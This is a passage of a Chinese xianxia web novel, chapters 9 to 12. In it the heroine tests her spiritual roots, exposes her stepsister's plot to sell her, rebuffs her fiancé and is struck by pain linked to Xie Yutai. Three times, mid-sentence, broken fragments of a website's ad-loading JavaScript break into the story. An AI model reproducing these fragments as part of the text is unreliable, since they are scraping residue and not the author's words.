秦芝婕看见秦知知一脸无知的模样心里就来火,她永远都是这样,仗着自己尚有几分颜色,无辜懵懂。明明是个什么都不会,什么都不懂的废物,却占着嫡姐的名头,有个天之骄子般的未婚夫,仿佛这世间的好事都被她占全了。凭什么?她只是喜欢君无涯而已,又有什么错? 秦芝婕冷哼一声,转瞬露出一抹得意的神色:“我自然在和光派,并且以后也会一直在和光派。” 秦知知随口一答:“干什么?来和光派看大门啊?” 虽然是双灵根天赋,但秦芝婕年纪不小了,和光派收她当弟子不是血亏? 秦芝婕还没什么表示,一旁的苏青衣倒是没忍住“噗嗤”笑了出来,她想到她们两人刚打开大殿门还没来得及做什么,秦芝婕就赶着站到大门口厉声质问,可不就像是给他们和光派看大门的吗? 秦芝婕顿时脸色通红却还是强自镇定:“秦芝芝,我会留在和光派自然是因为我就要嫁给君哥哥了。可你呢?你若是尚有羞耻之心,就不该出现在这里。” 嫁给君哥哥?秦知知微微怔愣方才反应过来对方说的是君无涯。不会吧,也就这么短短的日子,还真让她给成了? 苏青衣听到后十分气愤,向前一步怒道:“你胡说,君师兄才不会娶你这样的女人!” 秦芝婕反唇相讥道:“不会娶我这样的女人会娶谁?难道娶你旁边那个丢了信物,不顾礼义廉耻和别人私奔的女人吗?” 秦知知:??? 等等,她说的那个女人,是自己吗? 9. 009 突然变成不顾礼义廉耻和别人私奔的女人,秦知知有些消化不良。 印象里,原身从未和别的男人说过话。幼年之时,尚会和弟弟妹妹一同出去见客,只是原身寡言少语,不是个讨喜的性子,久而久之便也很少叫他。即使是君无涯前来,五次里也有四次是不让他们相见的,继母自会携着妹妹前去招待,再借口原身生病不便相见。 每次见面后,秦芝婕总会跑到她面前来说着君哥哥又送了什么带着自己玩了什么,他去了何处修为如何,怎样怎样厉害之类。因着原身从未收到过什么礼物也未接到君无涯的问候,也渐渐冷了心,大抵也是有些自卑的。 就这样一个人,你说她不顾礼义廉耻搞私奔?那秦知知都能飞到天上去炸月亮。 苏青衣将秦知知拦在身后:“你胡说,秦姑娘分明是被歹人所骗,若不是凑巧我们将她救下,现在已经生死难料,你少在这里含血喷人!” “那是她自己有眼无珠,偏偏轻信他人的话,怨不得别人。”秦芝婕笑的花枝乱颤,“她自己蠢,又怪得了谁?” 哦,原来是这样。秦知知是闹明白了。 秦芝婕母女一边计划着卖了秦芝芝,一边跑到和光派来诬陷秦芝芝是和别人私奔去,武都城城主也同样震怒,不管别人信不信秦芝芝名声已经毁了。姑且不论秦芝芝根本跑不回来,就算真是万千之一的几率侥幸跑了回来,也是再无颜面做人,和君无涯的婚事自然是想也不用想。更何况,只要秦芝芝不在就是死无对证,秦芝婕母女便是白的也会说成黑的。 谁又会去在意这样一个安静的小姑娘呢? 就算有人相信秦芝芝的话,不是私奔,又能怎么样?毕竟谁也拿不出证据,无非就是像现在的秦芝婕和苏青衣一样,争锋相对而已。 看来在佛昙的时候苏青衣还是顾忌秦知知的面子,说的太温和了。怪不得刚刚走在路上,秦知知就觉得其他人投过来的目光和议论有些奇怪,还想着是不是自己的错觉。 不得不说,秦芝婕还真是打的一手好牌。 “秦芝芝,我要是你现在趁早自我了断,还能让人称赞一句烈女。”秦芝婕将目光落到秦知知的身上,眼神之中满是讥讽。 秦知知简直莫名其妙:“我要别人赞我烈女干什么?” “你现在这般,还有什么颜面活在世上?” 秦知知还未有回应,苏青衣已经事满脸怒容。竟然上赶着来让别人自戕,她自幼来到和光派所处之人皆是光风霁月,从未见过像秦芝婕如此心狠的人,不管如何,秦芝芝和秦芝婕可是亲姐妹啊! 苏青衣愤愤不平却也委实不愿意再和这么歹毒的女人胡搅蛮缠下去,拉住秦知知的手,将其放在青灵石上:“芝芝,我们测灵根,别管她。” “有些人为了抢姐姐的未婚夫,人都不做了。她都能活,我怎么不能活?”相较于苏青衣的气愤,秦知知倒是冷静许多。她淡淡吐出一句话,顺着苏青衣转身后将手缓缓搭在灵石上。 秦芝婕瞬间暴跳如雷:“你算什么东西,怎么敢这么说我?!” 说着她双脚凌空飞入大殿,立在秦知知身前,提气扬掌就要向她打来。苏青衣原先只是盯着灵石,故而反应慢了半拍,待她回身想要阻拦,却已来不及。秦芝婕一巴掌就要打在秦知知的脸上—— 恰逢青灵石运转,发出“哒”的轻轻一声,淡青色的光芒穿透升腾。秦知知只觉心中微动,淡淡的暖流从丹田处升起流向四肢百骸,如此熟悉的感觉让她遍身舒畅。 她眉头一舒,右手紧握凝聚力量,抬手蓦地打出一拳,掀起一阵狂风。但见龙腾虎跃,惊若游龙,伴随“轰”的一声巨响,正中秦芝婕的鼻子。秦芝婕瞬间倒地,巨大的冲击之下“哐”的撞断了大殿的门槛,直接飞了出去。 秦知知:“……我去!” 这一拳好像有点猛。 苏青衣目瞪口呆,跟看到神仙似的看着秦知知。 正从掌门处出来寻秦知知的陆远道正巧走到殿外,听得一声轰响之后看着一个身影风筝似的从殿内飞出来,心下一惊。待看清满脸是血已经昏迷的秦芝婕后,怕里面出了什么事,连忙抬脚往殿内赶去。 谁知进去就看到苏青衣和秦知知两人大眼瞪小眼,秦知知的手还搭在青灵石上。 见两人没有事,陆远道松了口气道:“你们这是在干什么?秦姑娘在测灵根?” 提到测灵根,苏青衣连忙拍了下脑袋:“对,能打出这么厉害的一拳,秦姑娘的灵根应该非常稀少吧。” 不得至少比秦芝婕要好很多? 说着三人一齐向青灵石看去,青光大盛之后灵石一片混沌,待片刻后缓缓露出杂乱的五种不同颜色。 秦知知:“……” 早知道这具身体有点废,但看到杂色五灵根之后,还是有点小小的失望呢。 苏青衣大惑不解,盯着灵石喃喃自语:“怎么可能?怎么可能是五灵根?” 修仙之中,单灵根最稀有,修行速度极快,单灵根之中又分普通单灵根与变异单灵根,变异单灵根是上乘之上乘,可以说是百年难得一遇,谢煜台即是如此。单灵根之下是双灵根,同样稀少,通常可以作为三宗六派的核心弟子,修行速度仅次于单灵根。再次之是三灵根,之后是四灵根,修行速度依次递减。到了五灵根,基本就是不能修行的废物,连当三宗六派十二城的洒扫弟子都没资格。 陆远道也摸了摸鼻子:“青灵石应当不会出错,秦姑娘你不要太伤心。” 秦知知不伤心,她松开手点点头。废物总有废物修行的办法,再说就刚刚那一瞬间的感觉,她相信自己即使是废物,多少也是个天选废物——来自咸鱼的自信。就算秦芝芝的底子不行,但秦知知至少是筑基过的人,天同宗的女人绝不认输! 苏青衣依然觉得不可思议:“陆师兄,你看到没?就刚刚秦姑娘打出的那一拳,就算是变异灵根也不稀奇,她怎么会是五灵根呢?” 陆远道一边招呼着她们二人出去一边关上殿门,看见大殿坏的门槛心想着又要花钱了,暗叹一口气道:“谁知道呢,也许秦姑娘天赋异禀吧。” 他从来不觉得秦芝芝是个简单角色,会三宗六派的扩音符,连秦芝婕都没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见过的东西武都城城主难道会教给她?退一万步说,喜好武力的武都城城主会无聊到去记这种小孩子家家玩的东西? 听到陆远道的话,苏青衣目光炯炯的盯着秦知知:“一定是这样!” 秦知知看着她的目光一阵恶寒,真怕她下一刻竖起大拇指送到自己面前,再说一句“你是这个”。 秦芝婕已经不见了踪影,想来其他弟子已经将她抬去疗伤。既然看不见人影,秦知知也省的烦心,只是路上不免又要被指指点点,真不知道他们这些人嘴巴里又传成了什么样子。想想还有点小期待呢。 不多时三人便到了和光派的主殿,和光派掌门贺凌风、南风长老和压胜派掌门章白眉正坐在一起谈论什么。和身材矮小的南风长老完全不同,贺凌风身量适中,看起来也不过四十多岁的模样,眉目温润。章白眉则人如其名,虽然不老,却有两条雪白的眉毛,令人见之不忘。 “师尊,人带来了。”陆远道行礼。 贺凌风颔首,望向秦知知语气温和:“秦姑娘,你的事我们都已听说,你受惊了。” 秦知知摇摇头:“多谢贺掌门关心。” 章白眉已是十分好奇,伸着头迫不及待的问道:“不知道定尸符所在的位置是否方便?” 还好就在后颈上,要是在身上可能还真不方便。 这样想着,秦知知走到三人身前,背对着众人微微低下头。在她的颈后一把淡金色的小剑浮现,仿佛胎记似的牢牢钉在皮肤上。秦知知本就肤色较白,如今一看这把小剑更是十分明显。 南风问道:“章老儿,你能不能解?” 章白眉皱着眉头端详半晌,伸出指头来用灵气探知。谁知顿时感到指尖传来一阵抵触,仿佛剑锋在割手一般,输入的灵气越多,痛得越厉害。 他连忙收回,额上沁出了些些冷汗,有些说不准:“此事闻所未闻,恐怕我得回门派查阅典籍之后才好给答复。” 直白点:这题好难,他也不会啊! “哎,当真是多事之秋……谢小友如今又那样……”想到之前的事情,南风长老不禁感慨连连。 秦知知听了心下倒是没有什么波澜,这可是魔族鬼修的符箓,倘若那么好解,啖无宁也不用混了。魔族炼符箓的功法本就和修仙界不太一样,啖无宁的方法更是邪之又邪,章白眉不知道,一点也不令人惊讶。 看来还得指望谢煜台。不知道娑婆宗那里的情况如何呢? 眼见暂时没有法子,贺凌风等人又安慰了秦知知一番,让她先安心在门派住下等谢煜台的消息,便让苏青衣带着她先去安顿。 出了大殿门,秦知知长舒一口气,转头和苏青衣有说有笑起来,顺便商量着住在何处。苏青衣想要秦知知跟自己住的近一些,方便聊天,也好远着点秦芝婕,秦知知自然是百分百的愿意。她笑着正要感谢一番,便觉得一个阴影从自己头上笼罩下来,连带身边的苏青衣脸色也有些呆愣。 秦知知收起笑容:“怎么了?” 苏青衣忙不迭的看向她的身边,抬手指了指,贴耳小声道:“君师兄来了。” 10. 010 秦知知这才慢半拍的发现,不知何时自己身边静静立着一个人。他穿着和光派弟子统一的青衣白袍,风过处衣袍扬起,端的是长身玉立宗之潇洒。 早先从苏青衣嘴里就听说君无涯是和光派的“小玉郎”,极受门派中长老们和弟子们的喜爱,如今一看确实担得起这个称号。唇红齿白,风流俊秀,比之谢煜台和陆远道二人他的长相少了些棱角,多了几分阴柔。确实是个老少通吃,男女皆宜的好样貌。 难怪秦芝婕对他爱的要死要活,老秦家祖传的颜狗属性。不过比谢煜台来说还是太过稚嫩,果然是自己眼光更好。 如今,君无涯正低头看着秦知知,好看的眉毛有些微微皱起。 “君师兄,你怎么在这儿啊?”苏青衣一看气氛不对连忙出声询问。 君无涯抬头对着苏青衣微微颔首,挤出一个笑容道:“我在这里等秦姑娘。青衣,你先去旁边等会吧。” “哦……哦。”苏青衣微愣,犹豫的看了一眼沉默的秦知知,还是转身直到听不见两人说话的距离这才停下脚步。 苏青衣走开,只剩秦知知和君无涯两人面面相觑。君无涯不开口,秦知知更不知道说什么。她跟君无涯不熟,原身也没怎么跟对方相处过,连个模板都没得套。 如此沉默了半晌,到底是秦知知有些按捺不住:“您有事么?” 问完觉得这句话颇有几分阴阳怪气,又连忙补了一句:“君仙长。” 这应该够恭敬了吧。 君无涯面上阴晴不定,似乎正在纠结什么,见秦知知先开口,他缓缓道:“你为什么又回来?” 秦知知俩眼直接变问号。 仿佛是忍耐到了极限,君无涯闭上眼睛复又睁开,一字一句道:“既已有了心悦之人且相约离开,又为什么回来?” 把私奔说的那么清丽脱俗真不愧是文化人,秦知知当场乐了:“你没事吧?” 她觉得自己很委婉,她想问的其实是,你什么毛病啊?秦知知还从来没见过争着把绿帽子戴在头上的男人。好有勇气,真男人君无涯! 君无涯面色不虞,语气也沉了下来:“既然平安归来亦该低调行事,怎么偏偏又打了你妹妹,闹得人尽皆知。” 本来君无涯是不想管这件事的。他对秦芝芝已经没有什么太多印象,无奈秦芝婕一直说她是跟别人私奔,闹的门派上下皆知,平白一顶绿颜色的帽子扣下来君无涯也有些郁闷。但他烦秦芝婕又烦的厉害,逼不得已借口闭关才清静了没两天。 今日听说他那逃婚的未婚妻回来了,勾的君无涯心思浮躁,满脑子想的都是这人既然已经逃走了,又何必回来?还没等他调整好情绪,秦芝婕就哭哭闹闹的来到他闭关的房间前。说秦芝芝定是所托非人如今后悔,便想着回和光派来傍着君无涯,谁知看到秦芝婕在这里,心下十分嫉妒,直接出手打了她,又叫好些人看了笑话。 一直让她们在和光派这样闹下去也不是办法。君无涯十分头疼却只得出来,寻思着先见见他这位逃跑的未婚妻。 现下看他这位未婚妻虽然生的柔弱婀娜一副好脾气的模样,眉目间却总有一丝心不在焉,看自己像看个透明人一般。 这眼神无端让君无涯觉得更加烦躁,语气也不免更冷硬几分:“你既然之前已经……不管怎么样到底是女孩子家,名声还是要的。你今日公然打了秦芝婕,以后怎么对父母交代?你现在去跟秦芝婕道歉还来及,这事就算过去了。在和光派修养一段日子后,回武都城去尚有颜面自处。” 不听不听,王八念经。 秦知知若无其事的拨动着手边的灌木叶:“啊对对对。” 不论君无涯目前对秦芝芝和秦芝婕二人的感情怎样,现阶段秦芝婕的洗脑真的很成功。反正现在她说什么君无涯都认定是自己的错,不贞不洁不淑不静。既然已经有了这种印象,也肯定不能通过三言两语就想着翻盘。 跟眼前这种人,秦知知懒都懒得解释。 察觉到秦知知敷衍的态度,君无涯眉头都快拧成一团麻花,他深吸一口气道:“你这是什么态度,我有什么地方说的不对?” 秦知知莫名其妙:“你要娶秦芝婕?” 君无涯满脸错愕:“怎么可能!” “那你是要娶我?” 君无涯沉默了。 秦知知看他那模样就知道他心里的答案,嗤笑道:“既然都不想,你算什么人,想管我们家的事?” 君无涯眉头收紧,垂落在身侧的手不自觉的攥紧拳头:“你我之事,我可以不计较,但你殴打妹妹到底是错……” 秦知知打断他:“君仙长,你瞪大眼睛好好看看。我,五灵根废物,肩不能扛手不能提的弱女子。秦芝婕,金水双灵根,天赋出众,炼气巅峰。请问,几个我才能打得动秦芝婕?” 她一边说一边忍不住在君无涯的肩头发泄似的使劲戳了戳:“你有感觉吗?” 你有脑子吗君无涯?虽然秦芝婕确实是她打的,那又怎样,难道她会承认?理不直气也壮好吗。 “没有。”君无涯浑身硬的跟钢板似的,秦知知的力气与他看来跟蚍蜉撼树没什么区别。丝毫不动就算了,秦知知自己倒是被力的反作用弹的摇晃了好几下。 “又要多少个我,才能打过你呢,单灵根天才,和光派小玉郎。”秦知知收回手在半空甩了甩,眯起双眼,“你们捏死我, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就像捏死一只蚂蚁一样容易,你说秦芝婕为什么偏要为难我?” 君无涯脸上闪过一丝无措,难道是他搞错了么?可是秦芝婕哭的那样惨,又有旁观者亲眼看到她从大殿内被击飞,分明不像是作假的样子…… “当然,还好我不是只蚂蚁,君仙长一定会放我一条活路的,对吧?”转瞬秦知知又笑了出来,她偏了偏头,颊畔漾开浅浅的小梨涡,笑的天真明媚。 那只可怜的小蚂蚁早就在被发卖的路上断了气,她连站在这里的机会都没有。 天同宗的秦知知颇有倾城之貌,有几分像她的秦芝芝必然不差。比起秦芝婕的娇俏可爱,秦芝芝娴静如娇花照水,笑起来时却又带着点点羞涩与期待,明艳生动,倒是更动人。 “这是自然。”君无涯脸色微红,移开视线连忙道,“只要你诚心悔过,我必不会难为你。秦芝婕那里想必,想必是有什么误会。” “是呢,是有什么误会。”秦知知点点头,一把拽下旁边灌木叶,拽的灌木“蹭”的弯腰又顷刻弹开,歪歪扭扭了半天。 “误会解开就好了是吧,君仙长?” 君无涯看着摇晃的灌木丛,下意识的点点头:“嗯。” 秦知知摩挲着手中的树叶,像是突然想起什么,微微叹息道:“君仙长……你知道吗,我差点死了。” 她的语气过于缥缈,好似已不在人间。君无涯听得一阵恍惚,甚至怀疑是自己听错了:“你说什么?” 秦知知像是没有听见,只是对着君无涯微微一笑,端的是眉眼弯弯,柔顺乖巧。之后便不再多言,转身告辞。 等在树下已经有些着急的苏青衣见秦知知走来忙迎了上去,虽然离得不近她也能大概看到君无涯脸上的表情并不是很好,有些担心的挽着秦知知的胳膊道:“怎么样,芝芝,君师兄没为难你吧?” 秦知知摇了摇头,只是脚步微顿,突然问道:“青衣,你说谢煜台伤心吗?” “啊?”这么没头没脑的问题问的苏青衣一头雾水。归元宗的谢煜台?明明不是在谈论君无涯君师兄吗? 秦知知也自嘲的笑了笑,自己都觉得有些无缘无故。 只是刚刚在说出她差点死了的刹那,不知道为什么,眼前君无涯的身影和谢煜台的渐渐重叠。那日做任务做的太过专心,满心想着的都是终于要结束了,现如今竟是怎么也想不起来当时谢煜台的模样。 他那样的人,不知当时会是什么表情会说什么话呢?想来还是如平日一般冷漠淡然吧,也许眼中能有些许波澜,也多半是错愕和震惊。 秦知知将有的没的从自己脑袋中清空,拉着苏青衣的手道:“对了,我想请你帮个忙。” 11. 011 第二天一早,秦知知刚醒没多久苏青衣就来到了她的房间,拿了一个小乾坤袋递到她的手上。 “这是师尊让我拿给你的,希望你能收下。” 秦知知接过袋子粗粗看了一眼,发现里面都是一些可以延年益寿增强灵气的丹药,还有两颗可以救命的金丹。想必是听说自己是五灵根的事情,又怜她一路颠簸受难,回来还被君无涯找茬。 不过和光派还挺大方。 占便宜不积极,脑袋有问题。秦知知也没纠结,乐呵呵的收下了:“替我多谢贺掌门。” “这有什么客气的。”苏青衣也笑眯眯的,“你让我做的事我也已经做好了,什么时候开始?” 秦知知偏头坏笑:“戏台子都搭好了,自然是现在就开演啦。” 昨日她给秦芝婕递了一封信,邀她今日清晨在龙池见面,想要同她聊聊君无涯的事情。其他事秦知知还真拿不准秦芝婕会不会上钩,但涉及到君无涯,她应当不会无动于衷。 和光派有两处水地,一曰龙池一曰凤沼,风景宜人但皆是偏僻之所,很适合解决私事。龙池水面澄净,尤其在朝阳初升之时,阳光落入水中,水面清澈宛如镜面竟是可以将太阳再反射到天上,虽然较为朦胧模糊,却也一直是和光派独特的奇观。 秦知知到龙池时,秦芝婕已经守在那里。昨日那拳打的真的有些重,即便用了药秦芝婕的鼻梁处还有些青肿,看起来狼狈又可怜。秦知知只扫了一眼,便忍不住噗嗤一声笑了出来。她真没想到秦芝婕会变得那么滑稽。 秦芝婕咬牙切齿的看着她道:“秦芝芝,你怎么好意思笑出来,我会变成这样难道不都是你的错?” 秦知知有些无辜:“倘若不是你要打我,又怎么会遇到这样的事情。” 秦芝婕讥笑道:“昨日不过是巧合罢了,你还真以为自己能耐我何?不过是个杂灵根的废物,竟然有勇气单独约我在此处,你是真的不怕死?” 在秦知知看来,秦芝婕就是个没什么脑子的人,和这种人耗时间没什么必要。她不欲与其多做纠缠,只想速战速决。故而没有接这个话茬,只是从怀中掏出一张符箓来缓缓道:“你说巧不巧,我昨日拿到一封飞往武都城的传音符。” 她扬了扬手中的符文:“你觉得眼熟吗,秦芝婕?” 秦芝婕脸色微变,为什么她给母亲的传音符会落到秦知知的手上?但转念想到自己昨晚所做的事,面上又轻松几分。即便有传音符又怎样?她怎么能保证自己拿到的就是有用的那道符? 看见秦芝婕的表情,秦知知动动脚指头都知道她在想什么。她捏碎了传音符,没有预想中说话的声音传来,只有风过簌簌,无事发生。 秦知知“啊呀”一声:“怎么什么都没有啊?” 秦芝婕眉头一松,果然这个蠢货没有拿到那一份,没忍住嗤笑道:“秦芝芝,你耍人玩呢?” 秦知知掏了掏自己的口袋:“你等等,我还有一张。” 秦芝婕登时气结:“……你!” 秦知知又掏出了一张和之前一模一样的传音符,放在阳光下仔细端详了半天:“应该是这张吧。” 秦芝婕眉心一跳,暗暗打量着对方。 秦知知捏碎符箓,又是死一般的寂静。 “不好意思,好像拿错了。”秦知知扔掉,又低头掏了起来。 秦芝婕怒道:“秦芝芝!” 秦知知一把手抽出四张带有武都城封印的传音符,冲着秦芝婕眨了眨眼嘀咕道:“六张了哦,总有一张有的,对不对?” 秦芝婕心下大惊,伸手就要去抢秦知知手上的传音符。秦知知自然不会给对方这个机会,她原先就和对方站在龙池的一左一右,待看到秦芝婕动身后直接同时捏碎四张符箓。 秦芝婕的声音便从其中一张中清晰的传了出来。 不过寥寥数语,语气哀哀切切,一言以蔽之:母亲,我们的计划失败了,秦芝芝那个小妖精竟然没有死!她从黑市里跑出来了,还被和光派的人救了下来。我该怎么办?快快教教我! 秦芝婕脸色骤变。 怎么可能,她昨夜为了掩人耳目特意准备了六个传音符分时段传到武都城,怎么会如此凑巧偏偏全部落到秦知知的手里?! “你很惊讶吧,秦芝婕?”秦知知搓了搓自己手上符文的碎屑,抬着眼皮看向秦芝婕。 发卖秦芝芝的事情并不是秦芝婕一人做的,秦知知十分清楚这背后还有一个从未露面的继母,不然就依着秦芝婕这小妮子一人可成不了事。如今东窗事发,秦芝芝竟然被和光派救了回来,就算嘴上不说,秦芝婕心里定然是慌乱的,出了事就找家长不是很正常的事?她便请苏青衣想办法盯着秦芝婕,看看她会不会有什么动静。 果然,从半夜开始,第一个时辰先是只有一张传音符飞出去,第二个时辰有两张,直至第三个时辰同时飞出三张,总共六张传音符,各个都带着武都城的封印,其中只有一张真正有秦芝婕的传音。要不是苏青衣多了个心眼,找了陆远道帮忙,只怕她一个人也不可能将六张符完全截获。 截获了传音符也够让人头疼的,这传音符上有着武都城的封印,除非是武都城城主的直系嫡亲,其他人便只有修为比城主高方才可以打开。 在现今这个世界,金丹中期修为便可以为三宗六派的长老或是十二城之主。武都城城主正是金丹巅峰。可是金丹以上修为的人谁会无聊到去截这种小孩子家家的传音符,可以,但实在没必要。修为低的弟子便是有这个心,也没实力打开。 秦芝婕打的一手好算盘,又趁着夜深人静之时,连发六道符。理论上来说,若不是有心人盯着她的窗口还盯了一个晚上,这事也就成了。 可惜,秦知知早有预料,必然不会让秦芝婕轻易得逞。 她既是武都城城主的至亲又早先布下天罗地网,秦芝婕房间里哪怕是一根头发丝都别想飞出去。 眼见着事情败露,秦芝婕面露凶狠道:“你到底想干什么!?” 秦知知收起传音符歪着头将双手背在身后:“不想干什么,只是想知道你们是什么计划而已。” 秦芝婕听完顿觉有几分可笑:“你既想着拦下我给家里的传音符,自然已是对我有所怀疑。没错,你被卖往魔修之地是我计划的,又怎么样?” 秦知知静静听完,语气淡淡:“你这般害我,就是为了一个男人?” 秦芝婕听罢,勾起唇角笑道:“你懂什么?凭什么他偏偏要娶的是你!我从小就喜欢君哥哥,从第一眼见到他我就喜欢他。我那么喜欢他,为了他我什么都能做!” 秦芝婕的声音还在回荡。 晨光微熹,落在秦知知身上,仿佛为她镀上了一层微微的金光,她的脸上没什么表情只是开口:“自甘堕落。” 秦芝婕擦了擦脸,嘲笑道:“放屁!天同宗的秦知知也不是如此?她既都能嫁给归元宗的谢仙君,为什么我做不得?” 秦知知:? 怎么肥四,她是不是听错了?秦芝婕刚刚说的是天同宗的秦知知吗?她从来不知道自己还能成为反面教材。 不过她当年攻略谢煜台时,多少也是有些为他疯为他狂为他咣咣挡大刀的意思。一时之间还真有些不知道怎么反驳。 缓了缓心情,秦知知语气微顿,转瞬严肃道:“可是谢仙君没有未婚妻,秦知知也从未害过任何人。你拿什么同他们比?” 秦芝婕道:“我对君哥哥的一片真心,日月可鉴。不会比天同宗那个人对谢仙君的少一分一毫!” “呵。”秦知知冷笑,“所以秦知知死了,你也去死 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 曾经的秦知知为了攻略谢煜台山刀上下火海,无所不用其极,她爱的卑微爱的渺小,所以她死了。 对啊,秦芝芝也死了,她失去的只是生命,你失去的可是爱情啊秦芝婕,多么高尚伟大。 秦芝婕双眉一抬:“让我去死?秦芝芝你也配。如今你声誉尽毁,君哥哥必然是嫁不了的,父亲也还在生你的气,家也难回。现在的你不过是丧家之犬罢了。” 是了,就算此事被秦知知识破又怎么样,这里并没有其他人听见,她还有母亲为她出谋划策,父亲也一向疼爱她。和光派他们这群人愿意信谁还说不准,秦知知孤身一人,又能拿什么和她斗? 还没等秦知知想到怎么反驳,突然一个声音从二人背后响起,语气之中隐含着怒意:“谁说她嫁不了我?” 秦知知和秦芝婕都有些错愕看向来者。 衣带当风,皎如玉树,君无涯就静静站在那里望着两人,眼底一片波澜。 在他的背后除苏青衣和陆远道外,尚有其他和光派弟子皆是目瞪口呆的看向秦家姐妹。这正是秦知知让苏青衣安排的第二件事情——想办法把君无涯带过来。 揭穿阴谋什么的,怎么能没有人看戏啊?但是她没想到苏青衣这么给力,还拉来了这么多吃瓜的路人甲乙丙丁。 众人皆是一阵惊异,他们单知道秦家妹妹喜欢君师兄,秦家姐姐为爱私奔,却没想到这背后完全是一场阴谋。这么想来,姐姐秦芝芝真是倒了八辈子霉,要不是运气好,现在当真是生死未卜,还不知道要经受怎么样的折磨! 君无涯死死咬着下唇,蓦地响起昨日秦芝芝那一句轻轻地叹息。 “君仙长……你知道吗,我差点死了。” 她那时候是真的九死一生吧,从小大门不出二门不迈的她是怎么经历这样的事情,又是怎么活下来的,倘若陆师兄他们没有正好经过将她救下又会怎样,君无涯想也不敢想。 而自己昨日竟然还不分青红皂白的训斥了她…… 君无涯双眼微红:“芝芝……” 秦知知:“……” 她只看了一眼就别过头去,好了好了,这个男人脑子都在想的什么啊?她都没哭呢,君无涯怎么一副快要哭出来的表情。 秦芝婕双腿一软,没想到这里竟然有这么多人,方才回过神来自己是中了秦知知的计谋。秦知知原先一贯寡言少语,只有被欺负的份,什么时候有过这样缜密的心思? 她看着君无涯想要去扯他的衣角,眼泪从眼角簌簌滑落,一派楚楚可怜之相:“君哥哥,你听我解释……” 君无涯后退一步,紧抿着唇线,看也不愿看她。 秦知知没心情看秦芝婕作秀,垂了眼眸道:“今日之事,诸位仙长都已看见了。多的话,我也不再多说,孰是孰非,想来诸君心中都有计较。” “我秦芝芝虽然是个废人,却也不是任人折辱的。正巧今日有诸位仙长做个见证,”她抬起头,笑的清朗动人,“我秦芝芝,今日与继母、继妹恩断义绝,不再来往。从此,她走她的阳关道,我过我的独木桥。” 虽然是家事,但秦芝芝被害在先后又被毁清誉,暗地里还不知道受了继母继妹的多少蹉跎。修仙之辈本就对凡俗之情淡漠,更何况是继母继妹,如此一听皆是抚掌叫好。 秦知知一偏头就感受到了君无涯的眼神,她没有退却迎了上去:“至于你……” 谁知还未说出口,她只觉得胸口一阵刺痛,宛如心都要被人挖出去了一般,竟是生生呕出血来。 “芝芝!”苏青衣和君无涯皆是大惊失色,向前扶着她。 秦知知痛的双眼一黑,颈后火烧一般燃遍全身,她咬紧牙关捂着胸口。不是自己的问题,绝对不是。定尸符……谢煜台……是谢煜台出了事! 12. 012 众人见秦知知突而捂住胸口,口吐鲜血,皆是一阵惊异。君无涯和苏青衣双双向前,扶住将要倒下的秦知知,两人眼中具是焦急之情,毫不作伪。 君无涯更是慌张,他看到秦知知痛苦的神色竟是显得有几分无语伦次:“芝芝你、你莫急,我就在这里……” 秦知知痛得全身犹如火烧,几乎快要死掉一样,听到君无涯说的话更是胸口一堵,在心里狂翻白眼。君师傅,别念了别念了,芝芝、芝芝什么的,自己什么时候跟他那么亲密了? 苏青衣倒是快速反应过来,掏出一颗保命金丹直接塞进秦知知的嘴中,交代道:“师兄,快将秦姑娘带回房中,我去找长老来看看。” 君无涯忙应声,横抱起秦知知。苏青衣则拉着陆远道赶忙向南风长老处赶去。 吞下金丹后秦知知的五脏六腑终于不似火烧,但胸口仍然隐隐作痛,鼻端萦绕着君无涯身上安神的熏香令她迅速冷静下来。秦知知忍着疼痛蜷缩着身躯,眉目中满是不解。 怎么会?怎么可能?谢煜台分明是去的娑婆宗,理当十分安全,到底什么样的人能威胁到他?他到底是出了什么意外? 君无涯抱着秦知知一路飞奔回了房间,怀中的人那么轻那么弱,仿佛风一吹就要散了。 他将秦知知轻轻安置在床上,见对方脸上疼的皆是冷汗,又想到她昨日故作轻松的笑容,心中百般不是滋味。 不知是内疚更多,亦或是其他莫名感情的驱使,他微微俯下身,拉着秦知知的手认真道:“芝芝,别怕,我定不会负你。” 君无涯,听我说,谢谢你。 秦知知差点嗤笑出声。她正痛的死去活来,心里还在想着谢煜台的事正烦得要死,又赶着旁边一个君无涯不知道总是在脑补些什么,听到这话顿时一肚子的火气:“你出去!” 君无涯万万没想到自己推心置腹却是这个光景,霎时怔愣:“我……” 秦知知不客气道:“出去!” 想来一定是痛得厉害才会这般失态,君无涯也知道自己刚刚说的话颇有些不合时宜。但他看到眼前的姑娘如此痛苦,又恨自己什么都不成,说出这番话来,也无非是希望对方能够宽心。 他不讨厌秦芝芝也不烦她,一点也不,不像对秦芝婕的感觉。甚至在此刻,萌发了想要保护她的心态。他也不知道自己是怎么动了这样的念头,也许是因为她忍痛强自镇定的神色,又或是昨日那明媚温柔的微笑。 君无涯自己心中也有些混乱,待秦知知吼完后沉默半晌,便也不再坚持,默默转身,退到房间门口守着。 眼见着君无涯消失在自己的视线内,秦知知长舒一口气,眼中透露出几分疲惫的神色。她抽出如影符放在手上仔细端详,思来想去终究是狠狠一咬牙,重重捏碎了符箓。 秦知知有点害怕。 她怕的不是谢煜台真的死了,而是谢煜台没死,但是她莫名其妙的痛死了。 人不能,至少不应该,糊里糊涂的死。 如影符破碎,秦知知但觉一阵飓风裹挟着自己的身体上下摇摆,她仿佛深海之处的一叶扁舟,在狂风骤浪中身不由己的浮浮沉沉。 下一刻,她的双脚稳稳落地。 待失重带来的眩晕感消失,秦知知缓缓睁开双眼。 此时她应该是在一个存放神器的大殿内,周围密不透风,零散的光线从窗棂细缝处透出,空气中漂浮着淡淡的尘埃,显得整体环境幽暗封闭。各式各样的法器堆放在大殿左右,正中间放着一面雕花铜镜。 谢煜台就在那面铜镜之前。 他微微低垂着头,墨色的发丝从肩头滑落,衬得一身白衣如雪,黑的更黑,白的愈白。 撼天剑剑端抵着地面,直立立的撑着谢煜台。他单膝着地,右手持剑,宛如亘古不变的雕像,不增不减,不生不灭。 就在看见谢煜台的瞬间,那一阵剜心挖骨般的疼痛又从胸口蔓延。秦知知硬生生的咽下喉中涌上的腥甜之味,轻轻出声道:“谢煜台。” 